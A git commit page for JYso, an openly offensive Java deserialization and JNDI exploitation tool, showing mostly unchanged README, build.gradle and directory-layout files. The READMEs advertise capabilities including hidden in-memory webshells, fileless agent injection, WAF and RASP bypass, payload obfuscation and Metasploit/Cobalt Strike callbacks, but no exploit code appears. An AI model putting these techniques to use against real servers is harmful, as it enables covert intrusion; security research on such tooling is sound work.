refactor: mac

This commit is contained in:
qi4l
2026-04-28 21:30:45 +08:00
parent 12e1442a9d
commit 2dfb53a66d
187 changed files with 14678 additions and 14681 deletions
+5 -5
View File
@@ -1,6 +1,6 @@
.idea/ .idea/
.gradle/ .gradle/
out/ out/
.DS_Store .DS_Store
/build /build
1.ser 1.ser
+673 -673
View File
File diff suppressed because it is too large Load Diff
+87 -87
View File
@@ -1,87 +1,87 @@
<p align="center"> <p align="center">
<img src="docs/img/logo.png" width="120"> <img src="docs/img/logo.png" width="120">
</p> </p>
<h1 align="center"> JYso </h1> <h1 align="center"> JYso </h1>
<p align="center"> <p align="center">
<img src="https://img.shields.io/badge/JDK-1.8+-orange" /> <img src="https://img.shields.io/badge/JDK-1.8+-orange" />
<img src="https://img.shields.io/badge/gradle-8.7-blue" /> <img src="https://img.shields.io/badge/gradle-8.7-blue" />
<img src="https://img.shields.io/badge/SDL-Groovy-green" /> <img src="https://img.shields.io/badge/SDL-Groovy-green" />
<p align="center"> It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP </p> <p align="center"> It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP </p>
## 🚀 Getting Started Guide ## 🚀 Getting Started Guide
📢 Please take a moment to read this document, it will help you quickly get familiar with JYso! 📢 Please take a moment to read this document, it will help you quickly get familiar with JYso!
🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki). 🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki).
✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases). ✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases).
## 👍 Features ## 👍 Features
+ JNDI account password startup + JNDI account password startup
+ JNDI route hiding or encryption + JNDI route hiding or encryption
+ JNDI high version Bypass + JNDI high version Bypass
+ Customize the path, password, HTTP header and value of the memory horse + Customize the path, password, HTTP header and value of the memory horse
+ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) + Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
+ Memory horse writes JRE or environment variables to hide + Memory horse writes JRE or environment variables to hide
+ Serialized data plus dirty data + Serialized data plus dirty data
+ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) + [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
+ TemplatesImpl _bytecodes feature eliminated and size reduced + TemplatesImpl _bytecodes feature eliminated and size reduced
+ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc. + SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc.
+ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading + Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading
+ Dynamically generate obfuscated class names + Dynamically generate obfuscated class names
+ MSF/CS online + MSF/CS online
+ Code execution through JDBC + Code execution through JDBC
If you have other great ideas, please let me know! 😎 If you have other great ideas, please let me know! 😎
## 🐯 Compile ## 🐯 Compile
Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory
```shell ```shell
./gradlew shadowJar ./gradlew shadowJar
``` ```
## 🌲Directory structure ## 🌲Directory structure
For more information, please refer to [Directory structure description](docs/directory_structure.md). For more information, please refer to [Directory structure description](docs/directory_structure.md).
## ✨ CTStack ## ✨ CTStack
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" /> <img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
## ✨ 404Starlink ## ✨ 404Starlink
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy"> <img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
JYso has joined [404Starlink](https://github.com/knownsec/404StarLink) JYso has joined [404Starlink](https://github.com/knownsec/404StarLink)
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3) 1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
## 📷 Acknowledgements ## 📷 Acknowledgements
- https://github.com/veracode-research/rogue-jndi - https://github.com/veracode-research/rogue-jndi
- https://github.com/welk1n/JNDI-Injection-Exploit - https://github.com/welk1n/JNDI-Injection-Exploit
- https://github.com/welk1n/JNDI-Injection-Bypass - https://github.com/welk1n/JNDI-Injection-Bypass
- https://github.com/WhiteHSBG/JNDIExploit - https://github.com/WhiteHSBG/JNDIExploit
- https://github.com/su18/ysoserial - https://github.com/su18/ysoserial
- https://github.com/rebeyond/Behinder - https://github.com/rebeyond/Behinder
- https://github.com/Whoopsunix/utf-8-overlong-encoding - https://github.com/Whoopsunix/utf-8-overlong-encoding
- https://github.com/mbechler/marshalsec - https://github.com/mbechler/marshalsec
- https://t.zsxq.com/17LkqCzk8 - https://t.zsxq.com/17LkqCzk8
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg - https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 - https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ - https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce - https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 - https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ - https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
- https://tttang.com/archive/1405/#toc_groovyclassloader - https://tttang.com/archive/1405/#toc_groovyclassloader
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F - https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html - https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
- https://tttang.com/archive/1405/#toc_druid - https://tttang.com/archive/1405/#toc_druid
+89 -89
View File
@@ -1,89 +1,89 @@
<p style="text-align: center;"> <p style="text-align: center;">
<img src="docs/img/logo.png" width="150" alt="100"> <img src="docs/img/logo.png" width="150" alt="100">
</p> </p>
<h1 style="text-align: center;"> JYso </h1> <h1 style="text-align: center;"> JYso </h1>
<p style="text-align: center;"> <p style="text-align: center;">
<img src="https://img.shields.io/badge/JDK-1.8+-orange" alt=""/> <img src="https://img.shields.io/badge/JDK-1.8+-orange" alt=""/>
<img src="https://img.shields.io/badge/gradle-8.7-blue" alt=""/> <img src="https://img.shields.io/badge/gradle-8.7-blue" alt=""/>
<img src="https://img.shields.io/badge/SDL-Groovy-green" alt=""/> <img src="https://img.shields.io/badge/SDL-Groovy-green" alt=""/>
<p style="text-align: center;"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p> <p style="text-align: center;"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p>
<p style="text-align: center;"> 中文文档 | <a href="README.en.md">English</a> </p> <p style="text-align: center;"> 中文文档 | <a href="README.en.md">English</a> </p>
## 🚀 上手指南 ## 🚀 上手指南
📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso! 📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso!
🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。 🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。
✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。 ✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。
## 👍 特点 ## 👍 特点
+ JNDI 账号密码启动 + JNDI 账号密码启动
+ JNDI 路由隐藏或加密 + JNDI 路由隐藏或加密
+ JNDI 高版本Bypass + JNDI 高版本Bypass
+ 自定义修改内存马的路径、密码、验证的HTTP头与值 + 自定义修改内存马的路径、密码、验证的HTTP头与值
+ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) + 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
+ 内存马写入 JRE 或环境变量来隐藏 + 内存马写入 JRE 或环境变量来隐藏
+ 序列化数据加脏数据 + 序列化数据加脏数据
+ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) + [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
+ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减 + TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减
+ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等 + SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等
+ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载 + 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载
+ 动态生成混淆的类名 + 动态生成混淆的类名
+ MSF/CS 上线 + MSF/CS 上线
+ 通过JDBC来进行代码执行 + 通过JDBC来进行代码执行
如果你有其他很棒的想法请务必告诉我!😎 如果你有其他很棒的想法请务必告诉我!😎
## 🐯 编译 ## 🐯 编译
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行 下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
```shell ```shell
./gradlew shadowJar ./gradlew shadowJar
``` ```
## 🌲目录结构 ## 🌲目录结构
更多信息请参阅[目录结构说明](docs/directory_structure.md)。 更多信息请参阅[目录结构说明](docs/directory_structure.md)。
## ✨ CTStack ## ✨ CTStack
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" alt=""/> <img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" alt=""/>
JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区 JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区
## ✨ 404星链计划 ## ✨ 404星链计划
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy"> <img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
JYso 现已加入 [404星链计划](https://github.com/knownsec/404StarLink) JYso 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3) 1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
## 📷 参考 ## 📷 参考
- https://github.com/veracode-research/rogue-jndi - https://github.com/veracode-research/rogue-jndi
- https://github.com/welk1n/JNDI-Injection-Exploit - https://github.com/welk1n/JNDI-Injection-Exploit
- https://github.com/welk1n/JNDI-Injection-Bypass - https://github.com/welk1n/JNDI-Injection-Bypass
- https://github.com/WhiteHSBG/JNDIExploit - https://github.com/WhiteHSBG/JNDIExploit
- https://github.com/su18/ysoserial - https://github.com/su18/ysoserial
- https://github.com/rebeyond/Behinder - https://github.com/rebeyond/Behinder
- https://github.com/Whoopsunix/utf-8-overlong-encoding - https://github.com/Whoopsunix/utf-8-overlong-encoding
- https://github.com/mbechler/marshalsec - https://github.com/mbechler/marshalsec
- https://t.zsxq.com/17LkqCzk8 - https://t.zsxq.com/17LkqCzk8
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg - https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 - https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ - https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce - https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 - https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ - https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
- https://tttang.com/archive/1405/#toc_groovyclassloader - https://tttang.com/archive/1405/#toc_groovyclassloader
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F - https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html - https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
- https://tttang.com/archive/1405/#toc_druid - https://tttang.com/archive/1405/#toc_druid
+143 -143
View File
@@ -1,144 +1,144 @@
plugins { plugins {
id 'java' id 'java'
id 'java-library' id 'java-library'
id 'maven-publish' id 'maven-publish'
id 'com.gradleup.shadow' version '9.4.1' id 'com.gradleup.shadow' version '9.4.1'
} }
repositories { repositories {
mavenCentral() mavenCentral()
maven { maven {
url = uri('https://repo.jenkins-ci.org/releases/') url = uri('https://repo.jenkins-ci.org/releases/')
} }
maven { maven {
url = uri('https://repo.maven.apache.org/maven2/') url = uri('https://repo.maven.apache.org/maven2/')
} }
} }
shadowJar { shadowJar {
archiveClassifier = '' archiveClassifier = ''
zip64 = true zip64 = true
minimize() minimize()
manifest { manifest {
attributes 'Main-Class': 'com.qi4l.JYso.Starter' attributes 'Main-Class': 'com.qi4l.JYso.Starter'
} }
} }
configurations.configureEach { configurations.configureEach {
exclude group: 'ch.qos.logback', module: 'logback-classic' exclude group: 'ch.qos.logback', module: 'logback-classic'
exclude group: 'ch.qos.logback', module: 'logback-core' exclude group: 'ch.qos.logback', module: 'logback-core'
} }
dependencies { dependencies {
implementation 'org.apache.logging.log4j:log4j-api:2.20.0' implementation 'org.apache.logging.log4j:log4j-api:2.20.0'
implementation 'org.apache.logging.log4j:log4j-core:2.20.0' implementation 'org.apache.logging.log4j:log4j-core:2.20.0'
implementation 'cn.hutool:hutool-all:5.7.7' implementation 'cn.hutool:hutool-all:5.7.7'
implementation 'com.alibaba:fastjson:1.2.83' implementation 'com.alibaba:fastjson:1.2.83'
implementation 'com.alibaba.fastjson2:fastjson2:2.0.26' implementation 'com.alibaba.fastjson2:fastjson2:2.0.26'
implementation 'com.beust:jcommander:1.78' implementation 'com.beust:jcommander:1.78'
implementation 'com.caucho:resin:4.0.65' implementation 'com.caucho:resin:4.0.65'
implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3' implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3'
implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10' implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10'
implementation 'com.mchange:c3p0:0.9.5.5' implementation 'com.mchange:c3p0:0.9.5.5'
implementation 'com.nqzero:permit-reflect:0.3' implementation 'com.nqzero:permit-reflect:0.3'
implementation 'com.teradata.jdbc:terajdbc:20.00.00.06' implementation 'com.teradata.jdbc:terajdbc:20.00.00.06'
implementation 'com.unboundid:unboundid-ldapsdk:4.0.9' implementation 'com.unboundid:unboundid-ldapsdk:4.0.9'
implementation 'com.vaadin:vaadin-server:7.7.14' implementation 'com.vaadin:vaadin-server:7.7.14'
implementation 'commons-cli:commons-cli:1.5.0' implementation 'commons-cli:commons-cli:1.5.0'
implementation 'io.projectreactor:reactor-core:3.4.26' implementation 'io.projectreactor:reactor-core:3.4.26'
implementation 'io.undertow:undertow-core:2.2.2.Final' implementation 'io.undertow:undertow-core:2.2.2.Final'
implementation 'io.undertow:undertow-servlet:2.2.2.Final' implementation 'io.undertow:undertow-servlet:2.2.2.Final'
implementation 'javax.servlet:javax.servlet-api:4.0.1' implementation 'javax.servlet:javax.servlet-api:4.0.1'
implementation 'javax.websocket:javax.websocket-api:1.1' implementation 'javax.websocket:javax.websocket-api:1.1'
implementation 'jboss:jboss-serialization:4.2.2.GA' implementation 'jboss:jboss-serialization:4.2.2.GA'
implementation 'net.jodah:expiringmap:0.5.9' implementation 'net.jodah:expiringmap:0.5.9'
implementation 'org.apache.click:click-nodeps:2.3.0' implementation 'org.apache.click:click-nodeps:2.3.0'
implementation 'org.apache.commons:commons-collections4:4.0' implementation 'org.apache.commons:commons-collections4:4.0'
implementation 'org.apache.commons:commons-lang3:3.12.0' implementation 'org.apache.commons:commons-lang3:3.12.0'
implementation 'org.apache.commons:commons-text:1.8' implementation 'org.apache.commons:commons-text:1.8'
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0' implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9' implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58' implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58'
implementation 'org.apache.tomcat:tomcat-websocket:9.0.62' implementation 'org.apache.tomcat:tomcat-websocket:9.0.62'
implementation 'org.apache.wicket:wicket-util:6.23.0' implementation 'org.apache.wicket:wicket-util:6.23.0'
implementation 'org.aspectj:aspectjweaver:1.9.7' implementation 'org.aspectj:aspectjweaver:1.9.7'
implementation 'org.beanshell:bsh:2.0b5' implementation 'org.beanshell:bsh:2.0b5'
implementation 'org.clojure:clojure:1.8.0' implementation 'org.clojure:clojure:1.8.0'
implementation 'org.codehaus.groovy:groovy:2.4.5' implementation 'org.codehaus.groovy:groovy:2.4.5'
implementation 'org.eclipse.jetty:jetty-ant:11.0.7' implementation 'org.eclipse.jetty:jetty-ant:11.0.7'
implementation 'org.fusesource.jansi:jansi:2.4.0' implementation 'org.fusesource.jansi:jansi:2.4.0'
implementation 'org.glassfish.tyrus:tyrus-server:2.0.0' implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
implementation 'org.hibernate:hibernate-core:4.3.11.Final' implementation 'org.hibernate:hibernate-core:4.3.11.Final'
implementation 'org.javassist:javassist:3.29.2-GA' implementation 'org.javassist:javassist:3.29.2-GA'
implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final' implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final'
implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final' implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final'
implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final' implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final'
implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final' implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final'
implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final' implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final'
implementation 'org.jboss.weld:weld-core:1.1.33.Final' implementation 'org.jboss.weld:weld-core:1.1.33.Final'
implementation 'org.jenkins-ci.main:remoting:2.55' implementation 'org.jenkins-ci.main:remoting:2.55'
implementation 'org.ow2.asm:asm:8.0.1' implementation 'org.ow2.asm:asm:8.0.1'
implementation 'org.python:jython-standalone:2.5.2' implementation 'org.python:jython-standalone:2.5.2'
implementation 'org.reflections:reflections:0.9.10' implementation 'org.reflections:reflections:0.9.10'
implementation 'org.springframework:spring-aop:5.2.3.RELEASE' implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
implementation 'org.springframework:spring-aop:5.2.3.RELEASE' implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
implementation 'org.springframework:spring-beans:5.2.3.RELEASE' implementation 'org.springframework:spring-beans:5.2.3.RELEASE'
implementation 'org.springframework:spring-context-support:5.2.3.RELEASE' implementation 'org.springframework:spring-context-support:5.2.3.RELEASE'
implementation 'org.springframework:spring-core:5.2.3.RELEASE' implementation 'org.springframework:spring-core:5.2.3.RELEASE'
implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE' implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE'
implementation 'org.springframework:spring-oxm:5.2.3.RELEASE' implementation 'org.springframework:spring-oxm:5.2.3.RELEASE'
implementation 'org.springframework:spring-test:5.2.3.RELEASE' implementation 'org.springframework:spring-test:5.2.3.RELEASE'
implementation 'org.springframework:spring-tx:5.2.3.RELEASE' implementation 'org.springframework:spring-tx:5.2.3.RELEASE'
implementation 'org.springframework:spring-web:5.2.3.RELEASE' implementation 'org.springframework:spring-web:5.2.3.RELEASE'
implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE' implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE'
implementation 'rhino:js:1.7R2' implementation 'rhino:js:1.7R2'
implementation 'rome:rome:1.0' implementation 'rome:rome:1.0'
implementation 'xerces:xercesImpl:2.12.0' implementation 'xerces:xercesImpl:2.12.0'
implementation files('libs/jai-core-1.1.3.jar') implementation files('libs/jai-core-1.1.3.jar')
implementation files('libs/weblogic-server.jar') implementation files('libs/weblogic-server.jar')
dependencies { dependencies {
implementation('commons-collections:commons-collections') { implementation('commons-collections:commons-collections') {
version { version {
strictly '3.2.1' strictly '3.2.1'
} }
} }
implementation('org.apache.commons:commons-collections4') { implementation('org.apache.commons:commons-collections4') {
version { version {
strictly '4.0' strictly '4.0'
} }
} }
} }
implementation 'org.codehaus.castor:castor-xml:1.4.1' implementation 'org.codehaus.castor:castor-xml:1.4.1'
implementation 'com.cedarsoftware:json-io:4.9.1' implementation 'com.cedarsoftware:json-io:4.9.1'
implementation 'org.jyaml:jyaml:1.3' implementation 'org.jyaml:jyaml:1.3'
implementation 'com.esotericsoftware:kryo:4.0.0' implementation 'com.esotericsoftware:kryo:4.0.0'
implementation 'commons-configuration:commons-configuration:1.10' implementation 'commons-configuration:commons-configuration:1.10'
implementation 'com.thoughtworks.xstream:xstream:1.4.9' implementation 'com.thoughtworks.xstream:xstream:1.4.9'
implementation 'org.apache.xbean:xbean-naming:4.5' implementation 'org.apache.xbean:xbean-naming:4.5'
implementation 'com.rometools:rome:1.7.0' implementation 'com.rometools:rome:1.7.0'
implementation 'net.sf.json-lib:json-lib:2.4:jdk15' implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26' implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26'
implementation 'commons-beanutils:commons-beanutils:1.9.4' implementation 'commons-beanutils:commons-beanutils:1.9.4'
runtimeOnly libs.org.aspectj.aspectjweaver runtimeOnly libs.org.aspectj.aspectjweaver
compileOnly libs.org.apache.tomcat.tomcat.websocket compileOnly libs.org.apache.tomcat.tomcat.websocket
} }
group = 'org.example' group = 'org.example'
version = '1.3.7' version = '1.3.7'
description = 'JYso' description = 'JYso'
java.sourceCompatibility = JavaVersion.VERSION_1_8 java.sourceCompatibility = JavaVersion.VERSION_1_8
compileJava { compileJava {
options.compilerArgs << '-XDignore.symbol.file' options.compilerArgs << '-XDignore.symbol.file'
options.fork = true options.fork = true
options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe' options.forkOptions.executable = '/Users/qi4l/env/amazon-corretto-8.jdk/Contents/Home/bin/javac'
} }
+71 -71
View File
@@ -1,72 +1,72 @@
├─.gradle Gradle构建配置文件 ├─.gradle Gradle构建配置文件
│ ├─8.7 │ ├─8.7
│ │ ├─checksums │ │ ├─checksums
│ │ ├─dependencies-accessors │ │ ├─dependencies-accessors
│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71 │ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
│ │ │ ├─classes │ │ │ ├─classes
│ │ │ │ └─org │ │ │ │ └─org
│ │ │ │ └─gradle │ │ │ │ └─gradle
│ │ │ │ └─accessors │ │ │ │ └─accessors
│ │ │ │ └─dm │ │ │ │ └─dm
│ │ │ └─sources │ │ │ └─sources
│ │ │ └─org │ │ │ └─org
│ │ │ └─gradle │ │ │ └─gradle
│ │ │ └─accessors │ │ │ └─accessors
│ │ │ └─dm │ │ │ └─dm
│ │ ├─executionHistory │ │ ├─executionHistory
│ │ ├─expanded │ │ ├─expanded
│ │ ├─fileChanges │ │ ├─fileChanges
│ │ ├─fileHashes │ │ ├─fileHashes
│ │ └─vcsMetadata │ │ └─vcsMetadata
│ ├─buildOutputCleanup │ ├─buildOutputCleanup
│ └─vcs-1 │ └─vcs-1
├─.idea IDEA配置信息文件 ├─.idea IDEA配置信息文件
│ ├─artifacts │ ├─artifacts
│ ├─codeStyles │ ├─codeStyles
│ ├─inspectionProfiles │ ├─inspectionProfiles
│ └─libraries │ └─libraries
├─docs 有关文档 ├─docs 有关文档
├─gradle ├─gradle
│ └─wrapper │ └─wrapper
├─libs 第三方jar ├─libs 第三方jar
└─src └─src
├─main ├─main
│ └─java │ └─java
│ └─com │ └─com
│ └─qi4l │ └─qi4l
│ └─jndi │ └─jndi
│ ├─controllers JNDI路由逻辑 │ ├─controllers JNDI路由逻辑
│ │ └─utils │ │ └─utils
│ ├─enumtypes │ ├─enumtypes
│ ├─exceptions │ ├─exceptions
│ ├─exploit -cp 模式下的漏洞逻辑 │ ├─exploit -cp 模式下的漏洞逻辑
│ ├─gadgets 反序列化链 │ ├─gadgets 反序列化链
│ │ ├─annotation │ │ ├─annotation
│ │ ├─Config │ │ ├─Config
│ │ └─utils │ │ └─utils
│ │ ├─beanshell │ │ ├─beanshell
│ │ ├─cc │ │ ├─cc
│ │ ├─clojure │ │ ├─clojure
│ │ ├─dirty │ │ ├─dirty
│ │ ├─handle │ │ ├─handle
│ │ ├─jdbc │ │ ├─jdbc
│ │ ├─jre │ │ ├─jre
│ │ └─utf8OverlongEncoding │ │ └─utf8OverlongEncoding
│ └─template │ └─template
│ ├─Agent Agent注入逻辑 │ ├─Agent Agent注入逻辑
│ │ └─utli │ │ └─utli
│ ├─echo 回显类 │ ├─echo 回显类
│ └─memshell 内存shell逻辑 │ └─memshell 内存shell逻辑
│ ├─BypassNginxCDN │ ├─BypassNginxCDN
│ ├─jboss │ ├─jboss
│ ├─jetty │ ├─jetty
│ ├─resin │ ├─resin
│ ├─shell │ ├─shell
│ ├─spring │ ├─spring
│ ├─struts2 │ ├─struts2
│ ├─tomcat │ ├─tomcat
│ ├─Tomcat_Spring_Jetty │ ├─Tomcat_Spring_Jetty
│ ├─weblogic │ ├─weblogic
│ └─Websphere │ └─Websphere
└─test └─test
└─java └─java
+9 -9
View File
@@ -1,10 +1,10 @@
# This file was generated by the Gradle 'init' task. # This file was generated by the Gradle 'init' task.
